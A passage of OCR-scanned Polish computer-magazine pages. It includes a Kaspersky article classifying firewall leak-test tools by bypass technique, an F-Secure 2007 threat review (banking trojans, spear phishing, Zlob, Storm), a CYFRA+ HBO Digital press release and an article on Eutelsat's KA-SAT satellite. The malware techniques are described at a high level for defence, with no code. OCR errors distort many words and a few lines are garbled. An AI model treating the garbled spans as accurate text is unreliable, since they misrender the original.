24 Wallbreaker [4] | Guillaume Kaddouch Uruchamianie 2004
25 YALTA Soft4ever [Reguty domysine] 2001
26 ZAbypass Debasis Mohanty Ustugi przeglgdarki 2005

Z tego powodu tylko niewielka liczba szkodliwych
programéw wykorzystywata wycieki do obejscia za-
pory sieciowej. Ostatnio jednak twoércy wiruséw za-
czeli stosowa¢ narzedzia automatyzacji, aby szyb-
ciej tworzy¢é nowe warianty swoich szkodnikow.
W rezultacie wzrosto znaczenie narzedzi zapew-
niajacych dodatkowe bezpieczenstwo komputerom
osobistym, w szczegdlnosci zwigkszyta sie popular-
nos¢ zapory sieciowej.

Poniewaz zapory sieciowe stajg sie coraz bardziej
rozpowszechnione, twércy szkodliwego oprogramo-
wania aktywniej wykorzystujg teraz wycieki w ce-
lu obejscia zapory sieciowej. Tabela 2 zawiera
przyktady istniejgcych szkodliwych programéw wy-
korzystujgcych wszystkie 6 gtéwnych metod wycie-
kow.

Nalezy zauwazy¢, ze rézne rodzaje wyciekéw odpo-
wiadajg réznym zastosowaniom i mogg by¢ wyko-
rzystywane w szkodliwych programach do réznych
celow. W szczegolnosci:

® za pomocg parametrow wiersza polecen mozna
wysta¢ ograniczony zestaw danych, natomiast
szkodliwy program moze wykorzysta¢ technolo-
gie BITS do umieszczenia bardzo duzych plikéw
z komputera uzytkownika;
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® metody oparte na wstrzykiwaniu DLL lub kodu do
zaufanych proceséw stosowane sg réwniez do
celéw innych niz obchodzenie zap6r sieciowych,
poniewaz mogg zosta¢ wykorzystane nie tylko do
wysytania danych w imieniu zaufanego procesu
bez wiedzy uzytkownika, ale rowniez do wykony-
wania szeregu innych operacji;

® interfejsy kontroli przegladarki (np. WebBrowser
control) moga by¢ wykorzystywane nie tylko do
wysyfania danych w imieniu przegladarki Internet
Explorer, ale réwniez do kontrolowania urucho-
mionej kopii przegladarki (np. zamykac¢ wszystkie
okna, w ktérych adres strony nie spetnia pew-
nych warunkéw), modyfikowa¢ dokument zatado-
wany w przegladarce, wysSwietla¢ okna komuni-
katobw w przegladarce itd.

Testy wyciekow

Tabela 3 zawiera stosowane obecnie testy wycie-
kow oraz metody wyciekow, ktére sg przez nie te-
stowane. Wigkszos¢ z wymienionych testow mozna
pobra¢ ze strony http://lwww.matousec.com/projects/win-
dows-personal-firewall-analysis/introduction-firewall-leak-testing
.php lub http://www.firewallleaktester.com.

W tabeli 4 skategoryzowali$my testy wyciekow zgod-
nie z naszg klasyfikacja.
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Tabela 4
Lp. Technologia Testy wyciekow ‘
1 Zastepowanie Coat, LeakTest, Runner
2 Uruchamianie Ghost, TooLeaky, Wallbreaker
3 Wstrzykiwanie biblioteki DLL CPILSuite [2,3], FireHole, Jumper, pcAudit, pcAudit2
4 Wstrzykiwanie kodu AWFT, CopyCat, CPIL, CPILSuite [1], DNStest, Thermite
5 Ustugi przeglgdarki Breakout, OSfwbypass, PCFlank, Surfer, ZAbypass
6 Ustugi systemowe BITSTester, Breakout2, DNStester
Tabela 5
Lp. Technologia Uwagi ‘
1 Zastepowanie Coat, LeakTest, Runner
2 Uruchamianie Ghost, ToolLeaky, Wallbreaker
3 Wstrzykiwanie biblioteki DLL CPILSuite [2,3], FireHole, Jumper, pcAudit, pcAudit2
4 Wstrzykiwanie kodu AWFT, CopyCat, CPIL, CPILSuite [1], DNStest, Thermite
5 Ustugi przegladarki Breakout, OSfwbypass, PCFlank, Surfer, ZAbypass
6 Ustugi systemowe BITSTester, Breakout2, DNStester

Znaczenie wynikéw testow wyciekow

Co dajq testy poréwnawcze zap6r sieciowych wyko-
rzystujgce testy wyciekow? Testy te przede wszy-
stkim pomagajg w ocenie jakosci ochrony, a ich wy-
niki mogg utatwi¢ wybodr zintegrowanego systemu
ochrony komputera.

Wybierajgc ochrone, uzytkownicy czesto skupiajg
sie wylgcznie na takich wtasciwosciach, jak wspot-
czynniki wykrywania i szybko$¢ reakcji na nowe za-
grozenia (np. opierajgc sie na wynikach testow, ta-
kich jak te podawane na stronie http://www.av-compara-
tives.org oraz http://lwww.av-test.de). Jednak parametry
te nie okreslajg w petni jakosci ochrony. Rownie
wazne sg takie cechy produktu, jak jako$¢ kompo-
nentu proaktywnego w rozwigzaniu antywirusowym,
skuteczno$¢ leczenia zainfekowanych komputerow,
zdolno$¢ zwalczania aktywnych rootkitow oraz ja-
ko$¢ autoochrony. Niestety, autorzy testéw porow-
nawczych nie przywigzujg do nich wystarczajgcej
wagi. Podczas wyboru zintegrowanego produktu
ochrony nalezy uwzgledni¢ dodatkowe komponenty,
takie jak system ochrony antyspamowej oraz zapora
sieciowa.

Jak juz wczes$niej pisatem, podczas oceny jakosci
ochrony zapewnianej przez zapore sieciowg nalezy
uwzgledni¢ dwa kryteria: kontrole danych wejscio-
wych i kontrole danych wyjsciowych.

Dobre wyniki w testach kontroli danych wyj$ciowych
oznaczajg, ze zapora sieciowa nie jest jedynie do-
datkiem w produkcie antywirusowym, ale zapewnia
dodatkowg warstwe ochrony, ktéra moze zapobiec
wystaniu poufnych danych uzytkownika do cyber-
przestepcow, nawet gdy komponenty antywirusowe
nie zdotaty zablokowac trojana.

Uwazamy, ze produkty, ktore otrzymaty ,Bardzo
dobrg” lub ,Znakomitg” ocene w testach wyciekow
przeprowadzonych przez http://www.matousec.com/pro-
jects/windows-personal-firewall-analysis/leak-tests-results.php
zapewniajg uzytkownikom wystarczajgcg ochrone.
Jesli ochrona zostata oceniona jako ,Dobra” czy tez
L~Sfaba” lub ,Bardzo staba”, oznacza to, ze tworcy
szkodliwego oprogramowania bedg w stanie obej$¢

zapore sieciowg produktu przy uzyciu praktycznie
kazdej metody.

Whioski

Obecnie zapora sieciowa stanowi niezbgedny kom-
ponent zintegrowanych systeméw bezpieczenstwa
IT. Nawet najnowsze systemy operacyjne, takie jak
Windows Vista, nie sg w stanie same zablokowac
wszystkich wyciekéw (chociaz poczawszy od wers;ji
Windows XP SP2 Windows zawiera zapore sie-
ciowg, jej funkcjonalno$¢ zostata znacznie rozsze-
rzona w Viscie).

Wedtug wynikéw testu przeprowadzonego w marcu
przez Guillaume Kaddouch (http://www.firewallleakte-
ster.com/articles/vista_and_leaktests.html), Windows Vista
Ultimate 64-bit z domy$Inymi ustawieniami zabloko-
wat tylko 9 testow wyciekow (zablokowane testy wy-
ciekdéw zostaty zaznaczone w tab. 5 kolorem zielo-
nym).

Najnowsza wersja systemu Windows posiada wyra-
znie lepsze zabezpieczenia niz poprzednie dzieki li-
cznym usprawnieniom, takim jak UAC, |IE protected
mode, Service hardening oraz Kernel Patch Protec-
tion (Vista x64). Jednak nawet Windows Vista wy-
maga zainstalowania programoéw bezpieczenstwa
od innych producentéw, aby zapewni¢ niezbedny
poziom ochrony przed wyciekami.

W przysztosci szkodliwe programy bedg implemen-
towaty nowe metody w celu obejscia zarobwno ist-
niejagcych mechanizméw ochrony, jak i tych zawar-
tych w nowym systemie operacyjnym. Z tego powo-
du wzrosnie znaczenie zapory sieciowej jako do-
datkowego poziomu ochrony. W celu obejscia za-
pér sieciowych tworcy szkodliwego oprogramowa-
nia bedg w coraz wiekszym stopniu wykorzystywac
technologie wyciekow. To oznacza, ze testy wycie-
kow stang sie kluczowg metodg testowania nieza-
wodnoéci ochrony komputera. B

Autor jest zastepcq dyrektora
dziatu technologii innowacyjnych,
Kaspersky Lab.
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Ztosliwe aplikacje

F-Secure

- bezpieczenstwo danych

w 2007 roku

Na poczatku roku 2007 liczba wykrytych szkodliwych programéw wynosita ¢wieré miliona.
Pod koniec roku 2007 wzrosta do okofo po6f miliona. Zatem w ciagu zaledwie jednego roku
przybyto tyle samo zlosliwych aplikacji, co przez ostatnie 20 lat. Powstaje mniej zupetnie
nowych rodzajéw ztosliwych aplikacji, ale za to wiecej tworzonych jest zestawow szkodliwych
programow, ktore — cho¢ wykorzystujg dobrze znane techniki — zostaly ulepszone pod katem

efektywnosci dziafania.

Liczba wykrytych szkodliwych programow
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W internecie dziata coraz wiecej witryn phishingo-
wych (wytudzajacych informacje). Prawdopodobnie
ma to zwigzek z pakietami takimi, jak Rock Phish.
Prowadzenie wielu witryn phishingowych nie jest
trudniejsze od prowadzenia jednej. Z tego powodu
liczba takich stron roénie, co powoduje spadek efek-
tywnosci phishingu.

Kon trojanski na bank

Co zatem robig ci, ktérzy chcg wykrasé informacje
bankowe? Uzywajg koni trojanskich.

Bankowe trojany ukrywajg sie i cierpliwie czekajg na
jakakolwiek aktywno$¢ zwigzang z dokonywaniem
operacji finansowych poprzez sie¢. Zadaniem
trojana jest monitorowanie aktywnosci przegladarki
(adreséw www) pod katem stow kluczowych zwig-
zanych z bankowos$cig. Jak podkres$lajg badacze
z Laboratorium F-Secure, po wykryciu operacji ban-
kowych stosowane sg roézne techniki, aby ukras¢
dane:

® przejmowanie formularzy;
® przechwytywanie obrazow i plikow wideo;
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® rejestrowanie wybieranych znakéw na klawiatu-
rze;

® wstawianie fatszywych stron lub pol formularzy;
® pharming;
® ataki typu Man in the Middle.

Bankowe trojany nie sg nowym zjawiskiem, ale
w roku 2007 ich liczba sie zwiekszyta. Man in the
Middle to technika, w ktorej cyberprzestepca wyko-
rzystuje imitacje witryny bankowej w celu po-
zyskania loginu i hasta, a nastgpnie uzywa ich do
skorzystania z istniejgcego konta swojej ofiary. Eks-
perci z Laboratorium F-Secure przewidujg, ze ten
trend nasili sig¢ w 2008 roku.

Spear phishing
— nowa niebezpieczna metoda

Jednym z oczywistych niebezpieczenstw jest uzycie
poufnych danych do kradziezy tozsamosci. Nowy-mi
zagrozeniami sg natomiast ataki ukierunkowane
oraz masowy spear phishing. W tych metodach in-
zynierii spotecznej wykorzystuje sie bardzo szcze-
gotowe informacje osobiste. Napastnik zwraca sie
do ofiary po imieniu, a tre§¢ wiadomosci jest zgodna
z osobistymi danymi.

Spam adresowany do ,Szanownego klienta” nie jest
tak efektywny, jak wiadomo$¢ przestana do konkret-
nej osoby z wykorzystaniem odpowiednich tytutow
stuzbowych i nazw miejsc. Wystarczy dotaczy¢ kilka
faktow, a ofiara przestaje mie¢ sie na bacznosci.

Pod koniec listopada ub.r. zrobito sie gtosno o ma-
sowym ukierunkowanym ataku, w ktorym przynetg
byt Departament Sprawiedliwosci Stanéw Zjedno-
czonych. Uzyto nazwisk odbiorcéw i nazw zatrud-
niajgcych ich firm. Wiadomos$¢ stwierdzata, ze firma
otrzymata skarge od Departamentu Sprawiedliwo-
§ci. Rzekoma skarga, w rzeczywisto$ci program po-
bierajacy trojana, byta dotgczona do wiadomosci.

Osobiste informacje uzywane w tego rodzaju ata-
kach sg powszechnie dostepne. Napastnicy majg
jeszcze tatwiejsze zadanie ze wzgledu na rosnacq
popularno$¢ witryn spotecznosciowych, gdzie uzyt-
kownicy sami chetnie ujawniajg dane.
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Jak oceniajg eksperci z Laboratorium F-Secure,
w 2008 roku pojawi sie wiecej ukierunkowanych
atakow pocztowych, w ktérych technika inzynierii
spotecznej zostanie wzbogacona informacjami wy-
kradzionymi z baz danych.

Zgubitem hasto?
Podasz mi swoje? ...Twdj Trojan ;)

W ubiegtym roku kolejnym groznym zjawiskiem by-
ty trojany wykradajgce hasta, ktérych celem ataku
staty sie gry online. Gry online zyskiwaty na po-
pularnosci przez caty 2007 rok. Co wazniejsze
— przynosity coraz wigksze przychody. W wirtu-
alnych swiatach gier online istniejg wirtualne towary.
Wielu graczy jest sktonnych ptaci¢ za nie prawdzi-
wymi pieniedzmi. Cho¢ wiec towary te nie majq fizy-
cznej postaci, ich warto$c¢ jest rzeczywista, a rzeczy
wartosciowe, jak powszechnie wiadomo, stajg sie
celem kradziezy. Ukradzione towary sg sprzeda-
wane na aukcjach, a ztodziei trudno zidentyfikowac,
poniewaz przestepstwo jest w catosci popetniane
online.

Rodzina Trojan-PSW:W32/OnlineGames pojawita sig
14 wrzeénia 2006 roku. Pod koniec ubiegtego roku
zesp6t badawczy F-Secure wykryt az 150 przy-
padkow.

Zlob - fatszywe kodeki wideo
i modyfikatory ustawien DNS

Jednym ze szkodnikdbw odnoszacych najwieksze
sukcesy w 2007 roku jest Zlob. To program szpie-
gowski, ktory podaje sie za kodek wideo potrzebny
do ogladania tresci zabezpieczonych przed ko-
piowaniem. Warianty Zloba po zainstalowaniu zwy-
kle wyswietlajg fatszywe komunikaty o btedach, kt6-
re majg przekona¢ uzytkownika do zakupienia
i zainstalowania rzekomych programéw antyszpie-
gowskich.

Inne szkodniki napisane przez twércow Zloba, takie
jak DNSChanger, bez wiedzy uzytkownikdéw rekonfi-
gurujg adres serwera DNS. Serwery DNS odpo-
wiadajg za ttumaczenie tekstowych adreséw URL
na liczbowe adresy IP. Zmiana ustawien DNS
sprawia, ze twoércy Zloba zyskujg kontrole nad
przegladarka, za pomoca ktoérej sq w stanie kie-
rowac uzytkownikéw w dowolne miejsce w sieci. Jak
to wyglada w praktyce? Jesli ofiara wyszuka termin
L,bilety lotnicze”, sponsorowane przez Zlob, gene-
rujgce przychody tacze znajdzie sie na po-czatku li-
sty wynikow. Zatem mozna uzy¢ okreslenia, iz Zlob
utrzymuje sie z pasozytnictwa. Kradziez danych
ofiar nie jest celem.

Faatball ... Blesd we aay sored

Frout all e games, what b, wrhat chamel and S stats

Hever be m the dark again with e colrs gume racker
T 235

Cyberprzestepcy nie kradng tez zasobéw kompu-
tera, aby zbudowa¢ sie¢ botéw. Zamiast tego wyko-
rzystujg oni swoje ofiary, ktére czesto nawet sobie
tego faktu nie uswiadamiaja.

Pod koniec pazdziernika 2007 roku gang Zloba po-
wiekszyt potencjalne grono ofiar, wprowadzajgc
wersje programu DNSChanger dziatajgce w syste-
mie Mac OSX.

Storm - sie¢ botéw 2007 roku

W roku 2007 narodzita si¢ kolekcja trojanéw i ro-
bakéw e-mail nazwana Storm Worm. 19 stycznia
2007 roku w sieci zaczety kragzy¢ wiadomosci e-mail
z tematem opartym na rzeczywistym wydarzeniu,
czyli porywistych burzach szalejgcych w Europie.
Z tematu ,230 dead as storm batters Europe” wzieta
sie nazwa Storm. Uzycie udramatyzowanych wersji
rzeczywistych nagtowkéw prasowych okazato sie
pomystowym zastosowaniem inzynierii spotecznej
i poczatkowo byto bardzo skuteczne, jednakze
w pierwszej potowie roku technika zaczeta traci¢ na
efektywnosci, poniewaz byla zbyt czesto powta-
rzana. Dlatego gang stojacy za Stormem zmienit
metode dziatania. Podczas drugiej potowy 2007
roku stale modyfikowat swojg taktyke inzynierii
spotecznej. Biorgc na celownik Stany Zjednoczone,
korzystat z panstwowych $Swigt, na przyktad Dnia
Pracy, oraz sezonowych wydarzen, takich jak
poczatek i koniec National Football League (NFL).
Mierzac w innych odbiorcow, twoércy Storma wyko-
rzystywali popularne trendy i witryny. Jednym z tri-
kéw byta obietnica zobaczenia ,siebie” w rzekomym
wideo YouTube przesytana w wiadomosci e-mail,
ktéra wskazywata fatszywg witryne YouTube.

Gang zmienit réwniez wektor infekcji, poniewaz
skuteczno$¢ wykrywania Storma zwiekszyta sie
i zatgczniki do wiadomosci e-mail byty blokowane.
Zamiast dotgcza¢ szkodliwy kod do wiadomosci
e-mail, cyberprzestepcy zaczeli przesyta¢ wiadomo-
8ci z taczami do niebezpiecznych stron www. Kiedy
i strony www przestaty by¢ dobrym rozwigzaniem,
cyberprzestepcy oczyscili strony i umiescili na nich
tacza do ztosliwych aplikacji. Tak wiec wektor ataku
przesunagt sie z wiadomosci e-mail na strony www
przesytajace pliki, a potem na strony www z od-
sytaczami do plikéw (a pliki te sg modyfikowane na
biezgco...).

Warto zauwazy¢, ze w niektorych witrynach Storma
znajdujg sie ramki oferujgce 16 wersji zto$liwe-
go kodu adresom IP ze Standéw Zjednoczonych
zamiast 9, ktore byly oferowane adresom IP spoza
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Stanéw. Storm jest produkowany w Europie, ale
— zgodnie z oceng badaczy z F-Secure — wiele
wskazuje na to, ze tworcy Storma dziatajg po obu
stronach Atlantyku.

Kolejng specjalng cechg sieci botéw Storma, na
ktora warto zwréci¢ uwage, jest to, ze chroni sama
siebie. Powtarzanie zgdan z jednego zrédta spra-
wia, ze sie¢ odpowiada atakiem DDoS. Badania
trzeba prowadzi¢ ostroznie, bo w przeciwnym razie
sie¢ botéw staje sie agresywna.

Apple a bezpieczenstwo

Rok 2007 byt bardzo pomysiny dla firmy Apple. Jej
sprzet jest popularniejszy niz kiedykolwiek przed-
tem. Wniosek cyberprzestepcéw byt prosty — wiecej
sprzetu Apple’a oznacza wiecej zainstalowanego
oprogramowania Apple’a.

Jak juz wspomniano, programy modyfikujgce ustawie-
nia DNS zaczety atakowac system Mac OSX. Uzyt-
kownicy sg przekonywani do wprowadzenia hasta
administratora — wystarczy odrobina pomystowe;j in-
zynierii spotecznej. Naktonienie uzytkownika macin-
tosha do wpisania hasta w celu zainstalowania ko-
deka wideo nie jest szczegolnie trudnym wyzwa-
niem, a przynajmniej nie byto w przypadku szkodli-
wego oprogramowania dla Windows. Dotychcza-
sowy brak niebezpiecznych aplikacji atakujacych
system Mac OSX moze postawi¢ jego uzytkowni-
kow w niekorzystnym potozeniu, jesli napastnik wy-
korzy- sta ich fatszywe poczucie bezpieczenstwa.
Udziat rynkowy macintoshy jest na tyle znaczacy, ze
komputery Apple’a stajg sie celem pasozytéw
Zloba. Jak uczy doswiadczenie, cyberprzestepcy
nie tracg cza- su na pisanie czego$, co nie przy-
niostoby zysku.

Zapewne przyczynita sie do rozwoju tego trendu
napisana przez Apple przegladarka Safari dla Win-
dows. Kiedy w potowie czerwca 2007 r. zostata udo-
stepniona jej wersja beta, badacze odkryli w niej
wiele usterek. Niestety, znaczna ich cze$¢ nie zo-
stata poprawiona w wersji Safari dla macintosha.

Witryny www przesytajace modyfikatory ustawien
DNS ustalajg system operacyjny i wersje prze-
gladarki uzywang przez odwiedzajgcego. Odpo-
wiednia wersja ztosliwego kodu jest dostarczana
dynamicznie. Jesli witryne odwiedzi uzytkownik
macintosha, otrzyma szkodliwe oprogramowanie
dostosowane do systemu Mac OS.

iPhone

Telefon Apple iPhone cechuje sie imponujgcym
wzornictwem i unikatowym interfejsem uzytkownika.
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W Stanach Zjednoczonych trafit do sprzedazy pod
koniec czerwca 2007 roku. W Europie wprowadzo-
no go na rynek w czwartym kwartale ubiegtego
roku. W ciggu zaledwie sze$ciu miesigcy urzadze-
nie to zostato do$¢ gruntownie rozpracowane.

Wykorzystuje ono wersje systemu Mac OSX, ktéry
z kolei wywodzi sie z Unixa. Ci, ktorzy znajg zabez-
pieczenia unixowe, mogg wzglednie tatwo ,prze-
nies¢” swojg wiedze i umiejetnosci do telefonu
iPhone.

iPhone zawiera réwniez przeglgdarke Safari i za-
pewnia do niej petny dostep. Ze wzgledu na ,prze-
no$nos¢ wiedzy” i wspomniane juz usterki w Safari,
a takze na znakomity design urzgdzenia, iPhone
stat sie celem ogromnego zainteresowania hakerow.
Dodajmy do tego fakt, ze iPhone jest urzadzeniem
,zablokowanym”, a otrzymamy kombinacje czynni-
koéw, ktéra musiata doprowadzi¢ do préb ztamania
zabezpieczen telefonu. We wrzesniu H.D. Moore
dotaczyt obstuge iPhone’a do szkieletu Metasploit,
co bardzo utatwito badanie zabezpieczeh oraz me-
tod ataku. Lamanie zabezpieczen iPhone’a ma na
celu odblokowanie urzgdzenia, niemniej ujawnianie
stabych punktéw telefonu ma konsekwencje dla
bezpieczenstwa.

Wiamania do baz danych

Raporty o wlamaniach do baz danych i utracie in-
formaciji stajg sie codziennoscig. W bazach danych
na catym Swiecie znajduje sie mnéstwo poufnych
danych podatnych na kradziez.

Styczen b.r. zaczat sie od swoistego trzesienia ziemi
w tej dziedzinie. Okazato sie, ze firma TJX
Companies ujawnita 45,7 miliona numeréw kart kre-
dytowych i rekordéw transakcji. Winowajcg byta zta
konfiguracja zabezpieczen Wi-Fi i przestarzate szy-
frowanie WEP. Rok 2007 zamyka si¢ podobnym
zdarzeniem w Wielkiej Brytanii, gdzie w listopadzie
firma HM Revenue & Customs (HMRC) utracita 25
milionébw nazwisk, adreséw i numeréw ubezpiecze-
nia spotecznego. Dwie ptyty CD z informacjami o ro-
dzicach, ich dzieciach oraz ich kontach bankowych
zaginety na poczcie.

Whnioski i prognozy

W 2007 roku ataki miaty charakter masowy. Twércy
ztosliwych aplikacji zachowujg sie jak ,przedsiebior-
cy” szybko reagujacy na zmieniajgce sie potrzeby
rynku i popyt na konkretne kradzione informacje. Sg
kryminalistami, a w miare uptywu czasu ich ,biznes”
staje sie coraz bardziej profesjonalny. Narzedzia
przestepstw sg produkowane profesjonalnie, a za-
kupione pakiety masowo generujg szkodliwe opro-
gramowanie. Wykradzione dane sg sprzedawane za
posrednictwem podziemnych serwiséw aukcyjnych.
To pienigdze fatwe i dobrze ukryte przed organami
Scigania.

Co przyniesie 2008 rok? Wiecej tego samego, czyli
niebezpiecznych kodow, ale ulepszonych, o jeszcze
mocniejszym i bardziej precyzyjnym dziataniu. Kry-
minalisci dysponujg odpowiednimi technologiami.
Kiedy masowos$¢ atakow zwiekszy $wiadomos¢ za-
grozen, ulepszone techniki inzynierii spotecznej
znowu uépig czujnos¢ uzytkownikdéw. Rok 2008 be-
dzie testem wytrzymatosci. B

Zrodto: www.f-secure.pl
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Serwis z programami na zyczenie

- CYFRA+ uruchamia

oferte na zyczenie
— HBO DIGITAL

21 stycznia CYFRA*, jako pierwsza platforma cyfrowa w Polsce,
wprowadza HBO Digital, czyli serwis z programami na zyczenie,
bazujacy na bibliotece filméw, dokumentdéw, seriali i produkcji
rozrywkowych HBO. Ustuga dostepna bedzie dla uzytkownikow
dekoderéw PVR HD CYFRY+ odbierajacych kanaty HBO

i oferowana bedzie bezpfatnie do konca czerwca 2008 r.

Dzieki nowej ustudze abonenci sami beda wybieraé¢,
co w danej chwili chca ogladac, bedg réwniez mogli
wielokrotnie powraca¢ do danego programu. Lista
pozycji HBO Digital widoczna bedzie dla wszystkich
uzytkownikéw dekoderéow HD PVR CYFRY+ jako
dodatkowa strona w bibliotece nagran. Programy na
zyczenie dostepne bedg na dysku dekodera w kilka
dni po telefonicznym aktywowaniu ustugi. Pod$wiet-
lajgc konkretne pozycje z listy bedzie mozna obej-
rze¢ krétki podglad danego programu. Oferta bedzie
regularnie od$wiezana. Na poczatek znajdzie sie
w niej kilkanascie programoéw, m.in. produkcje HBO:
Kompania braci (10 odcinkéw) i Ostateczne roz-
wigzanie, filmy: Syriana, Oszuka¢ przeznaczenie 3,
Animal, Firewall, Wytanczy¢ marzenia, Kobieta
w btekitnej wodzie, a takze program Przeboje na
stojaka! 2007. Do konca kwietnia z serwisu HBO
Digital bedg mogli korzysta¢ wytgcznie abonenci
CYFRY+.

W ostatnim roku CYFRA+ konsekwentnie rozwijata
ustugi w oparciu o nowe technologie, wprowadzajgc
kolejno HD, PVR i VoD. W najblizszych miesigcach
platforma planuje przede wszystkim rozwoj oferty
wideo na zyczenie.

CYFRA+ to najbogatsza programowo platforma
cyfrowa w Polsce: ponad 90 kanatéw RTV, serwisy
dodatkowe oraz dostep do kilkuset kanatéw sateli-
tarnych w oryginalnych wersjach jezykowych.
CYFRA+ proponuje bogaty wybér kanatéw filmo-
wych (16), sportowych (6), dokumentalnych (8), dzie-
ciecych (5), informacyjnych (12), muzycznych i roz-
rywkowych (20) oraz
ogolnopolskich (11). CY-
FRA+ to cyfrowa jako$¢
oraz unikatowe ustugi
dodatkowe: m.in. stan-
dard HDTV, rozbudowa-
ny elektroniczny prze-
wodnik po programach
(EPG), wybor wersji fil-
mu z lektorem lub napi-
sami, format 16/9, oferta
dla dorostych RelaXXX,
Music Choice, INFO+,
CYFRA+GRY, serwisy sms.
Drogg satelitarng oraz

poprzez DSL CYFRE+ odbiera ponad milion gospo-
darstw domowych w Polsce. Operatorem CYFRY+
jest CANAL+ Cyfrowy Sp. z 0.0. www.cyfraplus.pl

HBO (HOME BOX OFFICE) to ptatna telewizja, kt6-
ra powstata 35 lat temu w Stanach Zjednoczonych
jako czes¢ koncernu Time Warner Entertainment
Company LP. HBO w Polsce jest czescig HBO Eu-
ropa Srodkowa (HBO CE). Wiascicielami HBO
w Europie Srodkowej sa: HBO Inc., Dishey oraz
Sony Pictures Entertainment. W Polsce HBO rozpo-
czeto swojg dziatalno$¢ 17 wrzednia 1996 roku.
Kanat dostepny jest w wiekszosci sieci kablowych
oraz na platformach cyfrowych. W Polsce HBO ofe-
ruje pakiet kodowanych kanatéw filmowych: HBO,
HBO2 i HBO Comedy. Oferta programowa kanatéow
obejmuje najnowsze hollywoodzkie produkcje filmo-
we, kultowe seriale, kontrowersyjne dokumenty, pro-
gramy rozrywkowe witasnej produkcji oraz koncerty.
W pasmie prime time HBO, HBO2 i HBO Comedy
emitujg trzy pozycje programowe zréznicowane
pod wzgledem gatunkowym i tematycznym. HBO
i HBO2 nadajg program 7 dni w tygodniu, 24 godzi-
ny na dobe, a HBO Comedy 16 godzin na dobe bez
reklam. Program nadawany jest w stereo, w polskiej
wersji jezykowej (www.hbo.pl). &

Zrédto: Canal+ Cyfrowy
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Wspotpraca Eutelsat i ViaSat

Eutelsat Communications (Euronext Paris: ETL),

jeden z wiodacych na swiecie operatorow satelitarnych,

ogfosit decyzje o wyborze EADS Astrium na dostawce pierwszego
satelity realizujagcego przekaz wyfacznie w pasmie Ka.

Satelita ten stanowi gtéwny element strategii

odnowy infrastruktury satelitarnej Eutelsat.

Przyjety program zwiekszy pojemnos¢ wykorzystywang

na potrzeby ustug szerokopasmowych dla Europy

i krajow basenu Morza Srédziemnego, a tym samym

stworzy nowe mozliwosci dla lokalnych i regionalnych

rynkoéw telewizyjnych.

56

Wystrzelenie nowego satelity o nazwie KA-SAT
planowane jest na trzeci kwartat 2010 roku.
KA-SAT generujgc ponad 80 wigzek punkto-
wych bedzie najnowoczesniejszym satelitg wielo-
wigzkowym, jaki do tej pory skonstruowano. Inte-
gralnym elementem nowego satelity bedzie sie¢
o$miu gateways zarzadzanych przez Eutelsat.
Zapewnig one tgcznos¢ z KA-SAT oraz dystrybu-
cje petnego portfolio ustug do uzytkownikow kon-
cowych.

Zwiekszenie pojemnosci
konstelacji satelitéw HOT BIRD™

KA-SAT umieszczony zostanie na wiodgcej po-
zycji Eutelsat dla przekazu video, 13°E, obok
trzech duzych satelitbw HOT BIRD™ nadajacych
w pasmie Ku. Kolokacja nowego satelity na 13°E
przyczyni si¢ do wzbogacenia portfolio ustug ofe-
rowanych na tej strategicznej pozycji. Posiada-
cze indywidualnych anten satelitarnych bedg mo-
gli odbiera¢ kanaty telewizyjne w pasmie Ku oraz
korzysta¢ z nowych ustug medialnych w pasmie
Ka z wykorzystaniem pojedynczej anteny odbie-
rajgcej sygnaty z obu czestotliwoéci. Eutelsat wy-

. Nowy satelita Eutelsat

korzystuje obecnie pasmo Ka na satelicie HOT
BIRD™ 6 dla nowej ustugi szerokopasmowej
Tooway™, uruchomionej w Europie pod koniec
2007 roku. Tooway™ to wynik potgczenia wiedzy
i doswiadczenia Eutelsat — wiodgcego operatora
satelitarnego w Europie, jego oddziatu Skylogic
dziatajgcego na rynku ustug szerokopasmowych
oraz firmy ViaSat — $wiatowego lidera w branzy
produktéw szerokopasmowych oraz innowacyj-
nych satelitarnych systeméw sieciowych. Ustu-
gaTooway zostata zbudowana na standardzie sy-
stemu SurfBeam® DOCSIS® opracowanym przez
ViaSat.

Wspétpraca z ViaSat

KA-SAT ma by¢ europejskim odpowiednikiem
ViaSat-1 — satelity szerokopasmowego o duzej
pojemnosci wyposazonego w fadunek uzyteczny
pasma Ka, ktéry zamowiony zostat przez ViaSat
do celéw transmisji na obszarze Ameryki Pétnoc-
nej. Wystrzelenie ViaSat-1 zaplanowano na rok
2011. Eutelsat cisle wspétpracuje z ViaSat przy
tworzeniu systemu sieciowego SurfBeam® pas-
ma Ka i podobnego, powszechnie dostepnego
modelu korporacyjnego oferowanego abonentom
za posrednictwem dystrybutoréw ustug interneto-
wych, firm telekomunikacyjnych oraz platform
ptatnej telewizji. Wspbétpraca ta, opierajgca sie na
diugotrwatych wzajemnych relacjach obu firm,
umozliwita znaczacy rozwoj i wdrozenie innowa-
cyjnych ustug szerokopasmowych skierowanych
na rynek korporacyjny oraz dla sektora lotnicze-
go, morskiego i kolejowego na obszarze Europy,
Bliskiego Wschodu i Afryki.

KA-SAT to przetom wsrdd satelitdw wielowigz-
kowych. Satelity te udowodnity juz swojg duzg
skutecznos¢, umozliwiajgc dostep do internetu,
HDTV i lokalnych kanatbw TV mieszkancom
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trudno dostepnych regionéw obszaru Amery-
ki Pétnocnej. Za posrednictwem wystrzelonej
w 2005 roku pierwszej generacji satelitbw wie-
Iowiqzkow%/ch wykorzystujgcych  technologie
SurfBeam® DOCSIS® oraz firm WildBlue i Tele-
sat obstugiwanych jest juz ponad 300.000 abo-
nentéw internetu. Potgczenie DOCSIS - stan-
dardu, z ktérego korzysta kilkadziesigt milionow
odbiorcow telewizji kablowej na catym Swiecie
— z mozliwosciami nowych satelitdw wielowigzko-
wych duzej mocy w pasmie Ka pozwala zaofero-
wac klientom indywidualnym dostep do internetu
przez satelite w cenie porownywalnej z rozwigza-
niami ADSL.

Najwieksza oferowana pojemnos¢

Szerokos¢ pasma dostepna na satelicie KA-SAT
oraz sieciowe systemy naziemne nowej generacji
SurfBeam® firmy ViaSat pozwolg na uzyskanie
nieosiggalnej dotad wydajnosci i przepustowosci.
Przepustowos$c¢ satelity wyniesie ponad 70 giga-
bitow na sekunde. Nowy satelita wraz z syste-
mem gateways bedzie niewatpliwie punktem
zwrotnym w dziedzinie ustug satelitarnego doste-
pu do internetu, zwiekszajgc liczbe potencjalnych
uzytkownikow systemu do ponad jednego milio-
na. Odpowiada to kilkudziesieciu tysigcom uzyt-
kownikow korporacyjnych obstugiwanych obec-
nie przez istniejgce satelity pasma Ku na terenie
Europy. Predkos¢ na terminalu uzytkownika kon-
